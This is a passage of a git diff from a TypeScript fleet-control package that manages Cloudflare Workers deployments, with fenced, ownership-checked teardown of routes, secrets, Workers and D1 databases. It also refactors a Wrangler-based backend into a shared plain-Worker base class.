spec.tenantTag, + environment: spec.environment, + scriptName: spec.scriptName, + databaseId, + durableObjectBindings, + serviceBindings, + queueProducerBindings, + plainTextBindings: Object.fromEntries(plainText), + ...(r2BucketBindings.length > 0 ? { r2BucketBindings } : {}), + secretNames, + providerBindingIdentities, + artifactVersion, + desiredSpecDigest, + schemaVersion, + maintenance, + }; + } + + /** + * Attest the version serving traffic, which for an ordinary Worker is the + * one the deployment object holds at 100%. + * + * `inspect()` cannot answer this. Given an expected artifact version it pins + * that candidate even while the candidate sits at 0%, because a converge has + * to compare a staged upload against the specification before promoting it. + * Reusing it here would report an unpromoted candidate as though it were + * live, which is the exact failure this method exists to make impossible. + * + * The read goes through the port, so it is quota-coordinated like every other + * provider read. + * + * `physicalScriptName` is the spec's script rather than a value read back + * from the custom domain, because the hostname-to-script binding is already + * enforced on the path that can change it: `promoteWorker` fails unless the + * custom domain attests this exact script after every promotion, and + * `#attestPromotionRoute` refuses a hostname owned by a Worker outside the + * promotion guard. Re-reading the domain here would spend a third provider + * call against the two-read budget this method documents and learn nothing + * those two checks have not already established. + */ + async attestActiveRoute( + spec: DeploymentSpec, + ): Promise { + const active = await this.#api.inspectActiveWorkerRoute(spec.scriptName); + if (!active) { + throw new ActiveRouteAttestationError( + `Worker '${spec.scriptName}' has no deployment serving traffic`, + {}, + ); + } + if (!active.specDigest || !isSha256(active.specDigest)) { + throw new ActiveRouteAttestationError( + `routed version '${active.artifactVersion}' of Worker '${spec.scriptName}' carries no fleet specification digest`, + { + routedScriptName: spec.scriptName, + artifactVersion: active.artifactVersion, + }, + ); + } + return { + specDigest: active.specDigest, + artifactVersion: active.artifactVersion, + physicalScriptName: spec.scriptName, + source: 'workers-deployments', + observedAt: new Date(this.#clock()).toISOString(), + }; + } + + async revokeCredentials( + spec: DeploymentSpec, + retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, + activeRelease: ExternalReleaseSnapshot | undefined, + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + const secretNames = [ + ...new Set( + await this.#api.listOrdinaryWorkerSecretNames(spec.scriptName), + ), + ].sort(); + if (secretNames.length === 0) { + await this.#attestTeardownWorkerOwnership( + spec, + database.id, + retainedReleases, + activeRelease, + ); + } + // Each secret deletion can publish a version, so re-attest before the next + // irreversible mutation instead of treating the inventory as a batch. + for (const secretName of secretNames) { + if ( + !(await this.#attestTeardownWorkerOwnership( + spec, + database.id, + retainedReleases, + activeRelease, + )) + ) { + throw new Error( + `ordinary Worker '${spec.scriptName}' has secrets without an attestable Worker owner`, + ); + } + await this.#api.deleteControlSecrets( + spec.scriptName, + [secretName], + fence, + ); + } + const remaining = await this.#api.listOrdinaryWorkerSecretNames( + spec.scriptName, + ); + if (remaining.length > 0) { + throw new Error( + `ordinary Worker '${spec.scriptName}' failed exact secret revocation`, + ); + } + } + + async forceDecommissionStep( + record: FleetRecord, + step: ForceDecommissionStep, + fence: ExternalMutationFence, + ): Promise { + if (record.backend !== this.kind) { + throw new Error( + `plain Worker backend cannot force-decommission '${record.backend}' resources`, + ); + } + if (step === 'remove-traffic') { + const domains = await this.#api.listCustomDomains(); + for (const domain of domains.filter( + ({ service }) => service === record.scriptName, + )) { + await this.#api.detachCustomDomain(domain.id, fence); + } + const initial = await this.#api.inspectOrdinaryWorkerFootprint( + record.scriptName, + ); + if (initial.scriptPresent) { + await this.#api.disableOrdinaryWorkerPublicAccess( + record.scriptName, + fence, + ); + } + const [footprint, remainingDomains] = await Promise.all([ + this.#api.inspectOrdinaryWorkerFootprint(record.scriptName), + this.#api.listCustomDomains(), + ]); + if ( + footprint.customDomains.length > 0 || + footprint.zoneRoutes.length > 0 || + footprint.workersDevEnabled === true || + footprint.previewUrlsEnabled === true || + remainingDomains.some(({ service }) => service === record.scriptName) + ) { + throw new Error( + `ordinary Worker '${record.scriptName}' retains public ingress after force decommission`, + ); + } + return; + } + if (step === 'revoke-credentials') { + const secretNames = [ + ...new Set( + await this.#api.listOrdinaryWorkerSecretNames(record.scriptName), + ), + ].sort(); + for (const secretName of secretNames) { + await this.#api.deleteControlSecrets( + record.scriptName, + [secretName], + fence, + ); + } + const remaining = await this.#api.listOrdinaryWorkerSecretNames( + record.scriptName, + ); + if (remaining.length > 0) { + throw new Error( + `ordinary Worker '${record.scriptName}' failed exact secret revocation during force decommission`, + ); + } + return; + } + if (step !== 'delete-database') { + throw new Error(`unsupported force-decommission step '${step}'`); + } + if (!this.#api.supportsExactDatabaseDeletion) { + throw new Error(EXACT_DATABASE_DELETION_REQUIRED); + } + await this.#api.withMutationFence(fence, async () => { + const database = await this.#api.getDatabase(record.databaseId); + if (!database) return; + if ( + database.id !== record.databaseId || + database.name !== record.databaseName + ) { + throw new Error( + `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}' during force decommission`, + ); + } + await this.#api.deleteDatabaseFenced(database.id, fence); + if (await this.#api.getDatabase(record.databaseId)) { + throw new Error( + `database '${record.databaseId}' remains after force decommission`, + ); + } + }); + } + + async removeTraffic( + spec: DeploymentSpec, + retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, + activeRelease: ExternalReleaseSnapshot | undefined, + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + const worker = await this.#attestPersistedWorkerOwnership( + spec, + database.id, + retainedReleases, + activeRelease, + ); + const route = await this.#customDomain(spec.routeHostname); + if (route && route.service !== spec.scriptName) { + throw new Error( + `refusing to remove custom domain '${spec.routeHostname}' owned by Worker '${route.service}'`, + ); + } + if (!worker && route) { + throw new Error( + `refusing to remove custom domain '${spec.routeHostname}' without an attestable Worker owner`, + ); + } + if (route) { + await this.#assertMutationFence(fence); + await this.#api.detachCustomDomain(route.id, fence); + } + if (worker) { + await this.#api.disableOrdinaryWorkerPublicAccess(spec.scriptName, fence); + } + } + + async assertTrafficRemoved(spec: DeploymentSpec): Promise { + const footprint = await this.#api.inspectOrdinaryWorkerFootprint( + spec.scriptName, + ); + if ( + footprint.customDomains.length > 0 || + footprint.zoneRoutes.length > 0 || + footprint.workersDevEnabled === true || + footprint.previewUrlsEnabled === true + ) { + throw new Error( + `ordinary Worker '${spec.scriptName}' retains public ingress after traffic removal`, + ); + } + } + + async deleteWorker( + spec: DeploymentSpec, + retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, + database: DatabaseReference, + activeRelease: ExternalReleaseSnapshot | undefined, + fence: ExternalMutationFence, + ): Promise { + const [initialFootprint, initialNamespaceIds] = await Promise.all([ + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), + ]); + await this.assertTrafficRemoved(spec); + if (!initialFootprint.scriptPresent) { + if ( + initialFootprint.customDomains.length > 0 || + initialFootprint.zoneRoutes.length > 0 || + initialNamespaceIds.length > 0 + ) { + throw new Error( + `ordinary Worker '${spec.scriptName}' has a script-absent footprint with residual routes, domains, or Durable Object namespaces`, + ); + } + const [status, versions] = await Promise.all([ + this.#deploymentStatus(spec), + this.#listVersions(spec), + ]); + if (status || (versions && versions.length > 0)) { + throw new Error( + `ordinary Worker '${spec.scriptName}' remains after its footprint reported absence`, + ); + } + return; + } + if (initialFootprint.zoneRoutes.length > 0) { + throw new Error( + `refusing to delete Worker '${spec.scriptName}' with an inconsistent script or zone-route footprint`, + ); + } + const unexpectedDomains = (await this.#api.listCustomDomains()).filter( + (domain) => + domain.service === spec.scriptName && + domain.hostname.toLowerCase() !== spec.routeHostname.toLowerCase(), + ); + if (unexpectedDomains.length > 0) { + throw new Error( + `refusing to delete Worker '${spec.scriptName}' with unexpected custom domains`, + ); + } + // Secret mutations can create new version IDs, so this live check validates + // the persisted anchor and deployed identity without repeating artifact-set membership. + if ( + !(await this.#attestTeardownWorkerOwnership( + spec, + database.id, + retainedReleases, + activeRelease, + )) + ) { + throw new Error( + `ordinary Worker '${spec.scriptName}' disappeared before deletion`, + ); + } + this.#assertMutationDuration(fence); + const deletionOutcome = await this.#api.deleteWorkerScript( + spec.scriptName, + fence, + ); + // Policy treats deleted and absent identically because the residual check follows; + // satisfies is a widening tripwire for future adapter outcomes. + deletionOutcome satisfies 'deleted' | 'absent'; + const [ + status, + versions, + residualRoute, + residualWorkerDomains, + footprint, + residualNamespaceIds, + ] = await Promise.all([ + this.#deploymentStatus(spec), + this.#listVersions(spec), + this.#customDomain(spec.routeHostname), + this.#api + .listCustomDomains() + .then((domains) => + domains.filter((domain) => domain.service === spec.scriptName), + ), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), + ]); + if ( + status || + (versions && versions.length > 0) || + residualRoute || + residualWorkerDomains.length > 0 || + footprint.scriptPresent || + footprint.customDomains.length > 0 || + footprint.zoneRoutes.length > 0 || + residualNamespaceIds.length > 0 + ) { + throw new Error( + `Worker '${spec.scriptName}' or its custom domain remains after delete`, + ); + } + } + + async exportDatabase( + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + this.#assertMutationDuration(fence); + const exported = await this.#api.exportDatabase(database, fence); + return { + databaseId: database.id, + location: exported.location, + sha256: exported.sha256, + size: exported.size, + }; + } + + async deleteDatabase( + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + if (!this.#api.supportsExactDatabaseDeletion) { + throw new Error(EXACT_DATABASE_DELETION_REQUIRED); + } + await this.#api.withMutationFence(fence, async () => { + await this.#api.deleteDatabaseFenced(database.id, fence); + if (await this.#api.getDatabase(database.id)) { + throw new Error(`database '${database.id}' remains after deletion`); + } + }); + } +} diff --git a/packages/fleet-control/src/provider-binding-inventory.ts b/packages/fleet-control/src/provider-binding-inventory.ts index 9fdede3c..a49a3fe4 100644 --- a/packages/fleet-control/src/provider-binding-inventory.ts +++ b/packages/fleet-control/src/provider-binding-inventory.ts @@ -174,9 +174,9 @@ export function plainWorkerBindingsToProviderShape( case 'unsupported': if (binding.issue === 'not-object') return undefined; // For `invalid-type` the reconstructed type changes no message (either spelling - // fails the type check); for `unsupported-type` it preserves HEAD's `unsupported - // or malformed` refusal instead of an index-based `no valid type`. Carried as a - // provider fact for B1b/B2 diagnostics. + // fails the type check); for `unsupported-type` it preserves the pre-port + // `unsupported or malformed` refusal instead of an index-based `no valid type`. + // Carried as a provider fact for adapter diagnostics. return { type: binding.providerType, name: binding.name }; } // Exhaustiveness tripwire: a new normalized binding must define wire reconstruction. diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index ffc999c5..29db3e82 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -625,9 +625,9 @@ export type PlainWorkerMutationOutcome = | Readonly<{ status: 'failed'; error: unknown }>; /** - * Adapter scratch-cleanup outcome. A failure is never thrown by the adapter - * after dispatch; the caller surfaces it after reconciliation. An adapter with - * no adapter-owned scratch always reports `succeeded`. + * Adapter-owned post-dispatch cleanup outcome. A failure is never thrown by + * the adapter after dispatch; the caller surfaces it after reconciliation. An + * adapter with no adapter-owned scratch always reports `succeeded`. */ export type PlainWorkerCleanupOutcome = | Readonly<{ status: 'succeeded' }> @@ -637,21 +637,21 @@ export type PlainWorkerCleanupOutcome = export type PlainWorkerUploadOutcome = PlainWorkerMutationOutcome & Readonly<{ cleanup: PlainWorkerCleanupOutcome }>; -/** Shared provider mechanics for an ordinary Worker candidate upload. */ -interface PlainWorkerUploadIntentBase { +/** Shared provider intent for an ordinary Worker candidate upload. */ +export interface PlainWorkerUploadIntentBase { /** Provider script name. */ readonly scriptName: string; /** Fleet tag attached to the uploaded candidate. */ readonly candidateTag: string; - /** Main module path written into the generated configuration. */ + /** Main module selected from the uploaded modules. */ readonly mainModule: string; - /** Worker modules written into the adapter-owned staging directory. */ + /** Worker modules to upload. */ readonly modules: readonly WorkerModule[]; /** Worker compatibility date. */ readonly compatibilityDate: string; /** Worker compatibility flags, preserving provider-config omission. */ readonly compatibilityFlags: readonly string[] | undefined; - /** Worker bindings written into the generated configuration and secrets file. */ + /** Desired Worker bindings. */ readonly bindings: { readonly plainText: readonly { readonly name: string; @@ -683,7 +683,7 @@ interface PlainWorkerUploadIntentBase { readonly bucketName: string; }[]; }; - /** Worker resource limits written into the generated configuration. */ + /** Desired Worker resource limits. */ readonly limits: { readonly cpuMs: number | undefined }; /** Ordinary Worker public-access mechanics applied by this upload. */ readonly publicAccess: { @@ -702,6 +702,14 @@ export type PlainWorkerUploadIntent = PlainWorkerUploadIntentBase & | Readonly<{ mode: 'staged' }> ); +/** + * Provider operations shared by ordinary-Worker adapters. + * + * Every mutating member that takes an `ExternalMutationFence` must assert it + * immediately before each provider request it issues. The Cloudflare transport + * enforces this requirement for `CloudflareProvisioningClient`. + * `withMutationFence` carries the active fence through nested provider calls. + */ export interface PlainWorkerRouteApi { withMutationFence( fence: ExternalMutationFence, @@ -815,8 +823,8 @@ export interface PlainWorkerRouteApi { * `deleteDatabaseFenced`, asserts it immediately before every provider request * it issues through the command runner or route API. `deleteDatabaseFenced` * runs inside `withMutationFence` and relies on the route API's per-request - * assertion (HEAD parity, D10); whether the direct-API adapter additionally - * pre-asserts is a named conformance question for B2. + * assertion (parity with the pre-port Wrangler CLI loop); whether the + * direct-API adapter additionally pre-asserts remains an open question. * * A method that resolves a `PlainWorkerMutationOutcome` over a transport that * asserts per request must ALSO assert explicitly before dispatch, so a lost diff --git a/packages/fleet-control/src/wrangler-loop-backend.ts b/packages/fleet-control/src/wrangler-loop-backend.ts index a1f96831..7c699ad6 100644 --- a/packages/fleet-control/src/wrangler-loop-backend.ts +++ b/packages/fleet-control/src/wrangler-loop-backend.ts @@ -1,191 +1,21 @@ // SPDX-License-Identifier: Apache-2.0 -import { - provisionDeploymentIdentityProtocol, - readDeploymentIdentityProtocol, -} from '@proofoftech/flowsafe/deployment-identity-protocol'; -import { ActiveRouteAttestationError } from './active-route.js'; -import { - applicationSecretValues, - canonicalApplicationBindings, -} from './application-bindings.js'; import type { DurableDatabaseExportStore } from './cloudflare-client.js'; -import { isSha256 } from './deployment-context.js'; -import { WorkerDeploymentError } from './deployment-error.js'; -import { maintenanceUrl, readMaintenanceHealth } from './maintenance-health.js'; -import { applyMigrationsWithLedger } from './migration-ledger.js'; -import { assertSupportedPlainWorkerBindings } from './provider-binding-inventory.js'; -import { deploymentSpecDigest } from './spec-digest.js'; -import type { - ActiveRouteAttestation, - D1Migration, - DatabaseExport, - DatabaseReference, - DeploymentEgressPolicy, - DeploymentSecrets, - DeploymentSpec, - ExternalMutationFence, - ExternalPlatformResources, - ExternalReleaseSnapshot, - FleetRecord, - ForceDecommissionStep, - LiveDeployment, - MaintenanceHealth, - PlainWorkerCustomDomain, - PlainWorkerProvisioningApi, - PlainWorkerRouteApi, - PlainWorkerUploadOutcome, - PlainWorkerVersionDetail, - PlainWorkerVersionSummary, - PromotionGuard, - ProvisioningBackend, - SeedDeploymentIdentityOptions, -} from './types.js'; -import { targetDurableObjectTag } from './validation.js'; +import { + PlainWorkerBackend, + resolveMaintenanceRequestTimeoutMs, +} from './plain-worker-backend.js'; +import type { PlainWorkerRouteApi } from './types.js'; import { WranglerPlainWorkerProvisioningApi } from './wrangler-plain-worker-provisioning-api.js'; import type { CommandRunner } from './wrangler-runner.js'; -const PLAIN_INGRESS_CONTRACT = 'guarded-object-v1'; -const PLAIN_INGRESS_MODULE = '__anchorage_guarded_entry__.js'; -const EXACT_DATABASE_DELETION_REQUIRED = - 'plain Worker route API does not support exact-ID D1 database deletion'; -const JAVASCRIPT_CONTENT_TYPES = new Set([ - 'application/javascript', - 'application/javascript+module', - 'text/javascript', -]); - -interface DeploymentVersion { - readonly id: string; - readonly percentage: number; -} - -interface DeploymentStatus { - readonly versions: readonly DeploymentVersion[]; -} - -function restD1Bindings( - bindings: readonly unknown[], - operation: string, -): readonly string[] { - if (bindings.some((binding) => typeof binding !== 'string')) { - throw new Error(`${operation} D1 bindings must be strings`); - } - return bindings as readonly string[]; -} - -export function plainWorkerIngressModule(spec: DeploymentSpec): Readonly<{ - name: string; - content: string; -}> { - if (spec.modules.some((module) => module.name === PLAIN_INGRESS_MODULE)) { - throw new Error( - `Worker modules reserve '${PLAIN_INGRESS_MODULE}' for the guarded fleet entrypoint`, - ); - } - const main = spec.modules.find((module) => module.name === spec.mainModule); - if ( - !main || - typeof main.content !== 'string' || - (main.contentType !== undefined && - !JAVASCRIPT_CONTENT_TYPES.has(main.contentType)) || - main.name.startsWith('/') || - main.name.split('/').includes('..') || - /[?#\\]/u.test(main.name) - ) { - throw new Error( - 'plain Worker mainModule must be an importable string JavaScript ES module', - ); - } - const importSpecifier = JSON.stringify(`./${main.name}`); - const localClasses = [ - ...new Set( - spec.durableObjectBindings.flatMap((binding) => - binding.scriptName === undefined ? [binding.className] : [], - ), - ), - ].sort(); - if ( - localClasses.some( - (className) => !/^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(className), - ) - ) { - throw new Error( - 'plain Worker contains an invalid local Durable Object class', - ); - } - const reexports = - localClasses.length > 0 - ? `export { ${localClasses.join(', ')} } from ${importSpecifier};\n` - : ''; - const routeHostname = JSON.stringify( - new URL(`https://${spec.routeHostname}`).hostname - .toLowerCase() - .replace(/\.$/u, ''), - ); - const controlHostname = JSON.stringify( - new URL(spec.maintenanceBaseUrl).hostname.toLowerCase().replace(/\.$/u, ''), - ); - return { - name: PLAIN_INGRESS_MODULE, - content: `import __anchorageUserEntrypoint from ${importSpecifier}; -${reexports}if ( - !__anchorageUserEntrypoint || - typeof __anchorageUserEntrypoint !== 'object' || - typeof __anchorageUserEntrypoint.fetch !== 'function' -) { - throw new TypeError('plain Worker entrypoint must default-export an object with fetch'); -} -const __anchorageUserFetch = __anchorageUserEntrypoint.fetch; -const __anchorageRouteHostname = ${routeHostname}; -const __anchorageControlHostname = ${controlHostname}; -const __anchorageEnsurePath = '/admin/ensure-maintenance'; -const __anchorageStatusPath = '/admin/maintenance-status'; -const __anchorageReject = () => new Response(null, { status: 404 }); -export default { - ...__anchorageUserEntrypoint, - async fetch(request, env, context) { - const url = new URL(request.url); - const hostname = url.hostname.toLowerCase().replace(/\\.$/u, ''); - if (hostname === __anchorageRouteHostname) { - if (request.headers.has('Cloudflare-Workers-Version-Overrides')) { - return __anchorageReject(); - } - } else { - if (hostname !== __anchorageControlHostname) { - return __anchorageReject(); - } - const validOperation = - (url.pathname === __anchorageEnsurePath && request.method === 'POST') || - (url.pathname === __anchorageStatusPath && request.method === 'GET'); - const authorization = request.headers.get('authorization'); - if ( - !validOperation || - url.search !== '' || - authorization === null || - !/^Bearer [\\x21-\\x7e]{32,256}$/u.test(authorization) - ) { - return __anchorageReject(); - } - } - return Reflect.apply(__anchorageUserFetch, __anchorageUserEntrypoint, [ - request, - env, - context, - ]); - }, -}; -`, - }; -} - -export class WranglerLoopBackend implements ProvisioningBackend { - readonly kind = 'plain-worker' as const; - readonly #api: PlainWorkerProvisioningApi; - readonly #fetch: typeof fetch; - readonly #maintenanceRequestTimeoutMs: number; - readonly #clock: () => number; - +/** + * Ordinary-Worker backend backed by Wrangler command execution. + * + * Active-route attestation reads through the provider API because Wrangler CLI + * reads run outside the shared quota coordinator. + */ +export class WranglerLoopBackend extends PlainWorkerBackend { constructor(options: { readonly runner: CommandRunner; readonly routeApi: PlainWorkerRouteApi; @@ -193,1825 +23,35 @@ export class WranglerLoopBackend implements ProvisioningBackend { readonly exportStore: DurableDatabaseExportStore; readonly fetch?: typeof fetch; readonly maintenanceRequestTimeoutMs?: number; - /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */ readonly clock?: () => number; }) { - if (!options.exportDirectory) - throw new Error('exportDirectory is required'); - if (!options.exportStore) throw new Error('exportStore is required'); - if (!options.routeApi) throw new Error('routeApi is required'); - const maintenanceRequestTimeoutMs = - options.maintenanceRequestTimeoutMs ?? 30_000; - if ( - !Number.isSafeInteger(maintenanceRequestTimeoutMs) || - maintenanceRequestTimeoutMs < 1 - ) { - throw new Error('maintenance request timeout must be positive'); - } - this.#api = new WranglerPlainWorkerProvisioningApi({ - runner: options.runner, - routeApi: options.routeApi, - exportDirectory: options.exportDirectory, - exportStore: options.exportStore, - }); - this.#fetch = options.fetch ?? fetch; - this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs; - this.#clock = options.clock ?? Date.now; - } - - #assertMutationDuration(fence: ExternalMutationFence): void { - if ( - !Number.isSafeInteger(fence.mutationLeaseTtlMs) || - fence.mutationLeaseTtlMs < 1 - ) { - throw new Error('external mutation fence lease TTL must be positive'); - } - if ( - !Number.isSafeInteger(this.#api.maxMutationDurationMs) || - this.#api.maxMutationDurationMs < 1 - ) { - throw new Error('Wrangler command maximum duration must be positive'); - } - if (this.#api.maxMutationDurationMs >= fence.mutationLeaseTtlMs) { - throw new Error( - 'Wrangler command maximum duration must be below the external mutation fence lease TTL', - ); - } - } - - async #assertMutationFence(fence: ExternalMutationFence): Promise { - this.#assertMutationDuration(fence); - await fence.assertOwned(); - } - - async findDatabase( - spec: DeploymentSpec, - ): Promise { - const listed = await this.#api.listDatabases(); - const matches = listed.filter( - (database) => database.name === spec.databaseName, - ); - if (matches.length > 1) { - throw new Error(`multiple D1 databases are named '${spec.databaseName}'`); - } - if (matches[0]) { - const id = matches[0].databaseId; - if (!id) throw new Error('D1 list result has no uuid'); - return { id, name: spec.databaseName, created: false }; - } - return undefined; - } - - async getDatabase( - databaseId: string, - ): Promise { - return this.#api.getDatabase(databaseId); - } - - async ensureDatabase( - spec: DeploymentSpec, - fence: ExternalMutationFence, - ): Promise { - this.#assertMutationDuration(fence); - const outcome = await this.#api.createDatabase(spec.databaseName, fence); - if (outcome.status === 'failed') { - const recovered = await this.findDatabase(spec); - if (recovered) { - const owner = await this.readDeploymentIdentity(recovered, fence); - if (owner !== undefined) { - throw new Error( - `refusing authorized database reconciliation for '${recovered.id}' owned by '${owner}'`, - { cause: outcome.error }, - ); - } - return { ...recovered, created: true }; - } - throw outcome.error; - } - const resolved = await this.findDatabase(spec); - if (!resolved) { - throw new Error( - `D1 database '${spec.databaseName}' is absent after successful creation`, - ); - } - return { ...resolved, created: true }; - } - - async #query( - database: DatabaseReference, - sql: string, - fence: ExternalMutationFence, - bindings: readonly unknown[] = [], - ): Promise>[]> { - return this.#api.withMutationFence(fence, () => - this.#api.queryDatabase( - database.id, - sql, - restD1Bindings(bindings, 'plain Worker'), - ), - ); - } - - async seedDeploymentIdentity( - database: DatabaseReference, - tenantTag: string, - fence: ExternalMutationFence, - options: SeedDeploymentIdentityOptions, - ): Promise { - await provisionDeploymentIdentityProtocol( - (statement) => - this.#query(database, statement.sql, fence, statement.bindings), - tenantTag, - { - caller: 'WranglerLoopBackend.seedDeploymentIdentity', - initialExecutionFenceState: options.initialExecutionFenceState, - }, - ); - } - - readDeploymentIdentity( - database: DatabaseReference, - fence: ExternalMutationFence, - ): Promise { - return readDeploymentIdentityProtocol((statement) => - this.#query(database, statement.sql, fence, statement.bindings), - ); - } - - async applyMigrations( - database: DatabaseReference, - migrations: readonly D1Migration[], - fence: ExternalMutationFence, - ): Promise { - await applyMigrationsWithLedger( - { - query: (sql, bindings) => this.#query(database, sql, fence, bindings), - batch: (statements) => - this.#api.withMutationFence(fence, () => - this.#api.batchDatabase( - database.id, - statements.map((statement) => ({ - sql: statement.sql, - bindings: restD1Bindings( - statement.bindings ?? [], - 'plain Worker batch', - ), - })), - ), - ), - }, - migrations, - ); - } - - async findApplicationR2Bucket( - resource: import('./types.js').ApplicationR2Binding, - ): Promise { - if (!this.#api.getR2Bucket) { - throw new Error('plain Worker route API does not support application R2'); - } - const found = await this.#api.getR2Bucket( - resource.bucketName, - resource.jurisdiction, - ); - return found - ? { ...resource, creationDate: found.creationDate } - : undefined; - } - - async ensureApplicationR2Bucket( - resource: import('./types.js').ApplicationR2Binding, - fence: ExternalMutationFence, - ): Promise { - if (!this.#api.createR2Bucket) { - throw new Error('plain Worker route API does not support application R2'); - } - try { - await this.#api.createR2Bucket(resource, fence); - } catch (error) { - const reconciled = await this.findApplicationR2Bucket(resource); - if (reconciled) return reconciled; - if ( - error && - typeof error === 'object' && - 'status' in error && - error.status === 409 - ) { - throw new Error( - `R2 bucket '${resource.bucketName}' conflicts with a foreign resource`, - ); - } - throw error; - } - const confirmed = await this.findApplicationR2Bucket(resource); - if (!confirmed) - throw new Error( - `R2 bucket '${resource.bucketName}' is absent after create`, - ); - return confirmed; - } - - async assertApplicationR2Detached( - resource: import('./types.js').ApplicationR2Binding, - _fence: ExternalMutationFence, - ): Promise { - if (!this.#api.listWorkerR2Attachments) { - throw new Error('plain Worker route API cannot scan R2 attachments'); - } - const attachments = await this.#api.listWorkerR2Attachments( - resource.bucketName, - ); - if (attachments.length > 0) { - throw new Error( - `R2 bucket '${resource.bucketName}' remains attached to a Worker`, - ); - } - } - - async assertApplicationR2Empty( - resource: import('./types.js').ApplicationR2Binding, - _fence: ExternalMutationFence, - ): Promise { - if (!this.#api.assertR2BucketEmpty) { - throw new Error('plain Worker route API cannot inspect R2 contents'); - } - await this.#api.assertR2BucketEmpty(resource); - } - - async deleteApplicationR2Bucket( - resource: import('./types.js').ApplicationR2Binding, - fence: ExternalMutationFence, - ): Promise { - if (!this.#api.deleteR2Bucket) { - throw new Error('plain Worker route API cannot delete application R2'); - } - const current = await this.findApplicationR2Bucket(resource); - if (!current || current.creationDate !== resource.creationDate) { - throw new Error(`R2 bucket '${resource.bucketName}' ownership changed`); - } - await this.#api.deleteR2Bucket(resource, fence); - if (await this.findApplicationR2Bucket(resource)) { - throw new Error( - `R2 bucket '${resource.bucketName}' remains after delete`, - ); - } - } - - async #deploymentStatus( - spec: DeploymentSpec, - ): Promise { - const status = await this.#api.deploymentStatus(spec.scriptName); - if (!status) return undefined; - const versions = status.versions.map(({ versionId: id, percentage }) => { - if ( - !id || - percentage === undefined || - !Number.isFinite(percentage) || - percentage < 0 - ) { - throw new Error('wrangler deployment status has an invalid version'); - } - return { id, percentage }; - }); - if (versions.length === 0) { - throw new Error('wrangler deployment status has no versions'); - } - return { versions }; - } - - async #listVersions( - spec: DeploymentSpec, - ): Promise { - return this.#api.listVersions(spec.scriptName); - } - - #plainTextBindings( - version: PlainWorkerVersionDetail, - ): ReadonlyMap { - return new Map( - version.bindings.flatMap((binding) => - binding.type === 'plain-text' && - typeof binding.name === 'string' && - typeof binding.value === 'string' - ? [[binding.name, binding.value] as const] - : [], - ), - ); - } - - async #matchingCandidateIds( - spec: DeploymentSpec, - versions?: readonly PlainWorkerVersionSummary[], - ): Promise { - const digest = deploymentSpecDigest(spec); - const listed = versions ?? (await this.#listVersions(spec)); - if (!listed) return []; - const tagged = listed.filter((version) => version.tag === digest); - const matches: string[] = []; - for (const candidate of tagged) { - const id = candidate.versionId; - if (!id) { - throw new Error('wrangler versions list result has no version id'); - } - const version = await this.#api.viewVersion(spec.scriptName, id); - const plainText = this.#plainTextBindings(version); - if (plainText.get('FLEET_SPEC_DIGEST') !== digest) { - throw new Error( - `Worker version '${id}' has a mismatched fleet specification digest`, - ); - } - if (plainText.get('FLEET_INGRESS_CONTRACT') === PLAIN_INGRESS_CONTRACT) { - matches.push(id); - } - } - return matches; - } - - async #findCandidate( - spec: DeploymentSpec, - versions?: readonly PlainWorkerVersionSummary[], - ): Promise { - const digest = deploymentSpecDigest(spec); - const matches = await this.#matchingCandidateIds(spec, versions); - if (matches.length > 1) { - throw new Error( - `multiple Worker versions use fleet specification tag '${digest}'`, - ); - } - return matches[0]; - } - - async #expectedCandidate( - spec: DeploymentSpec, - artifactVersion: string, - versions?: readonly PlainWorkerVersionSummary[], - ): Promise { - const listed = versions ?? (await this.#listVersions(spec)); - if (!listed?.some((version) => version.versionId === artifactVersion)) { - throw new Error( - `Worker '${spec.scriptName}' is missing persisted artifact version '${artifactVersion}'`, - ); - } - const version = await this.#api.viewVersion( - spec.scriptName, - artifactVersion, - ); - const plainText = this.#plainTextBindings(version); - if ( - plainText.get('FLEET_SPEC_DIGEST') !== deploymentSpecDigest(spec) || - plainText.get('FLEET_INGRESS_CONTRACT') !== PLAIN_INGRESS_CONTRACT - ) { - throw new Error( - `Worker '${spec.scriptName}' persisted artifact version '${artifactVersion}' has drifted`, - ); - } - return artifactVersion; - } - - #databaseIds(version: PlainWorkerVersionDetail): readonly string[] { - return version.bindings.flatMap((binding) => - binding.type === 'd1' && typeof binding.databaseId === 'string' - ? [binding.databaseId] - : [], - ); - } - - async #assertExistingWorkerIdentity( - spec: DeploymentSpec, - databaseId: string, - deployment: DeploymentStatus, - ): Promise { - if (deployment.versions.length === 0) { - throw new Error( - `refusing to upload over existing Worker '${spec.scriptName}' without a deployed version`, - ); - } - for (const deployed of deployment.versions) { - const version = await this.#api.viewVersion(spec.scriptName, deployed.id); - const plainText = this.#plainTextBindings(version); - const databaseIds = this.#databaseIds(version); - const digest = plainText.get('FLEET_SPEC_DIGEST'); - if ( - databaseIds.length !== 1 || - databaseIds[0] !== databaseId || - plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || - plainText.get('FLEET_ENVIRONMENT') !== spec.environment || - !digest || - !isSha256(digest) - ) { - throw new Error( - `refusing to upload over existing Worker '${spec.scriptName}' with drifted tenant, environment, or D1 ownership`, - ); - } - } - } - - async #attestWorkerOwnership( - spec: DeploymentSpec, - persistedDatabaseId?: string, - ): Promise { - const [status, versions] = await Promise.all([ - this.#deploymentStatus(spec), - this.#listVersions(spec), - ]); - if (!status && (!versions || versions.length === 0)) return undefined; - const candidateId = await this.#findCandidate(spec, versions); - if (!candidateId) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' without its exact fleet specification`, - ); - } - const [version, databaseId] = await Promise.all([ - this.#api.viewVersion(spec.scriptName, candidateId), - 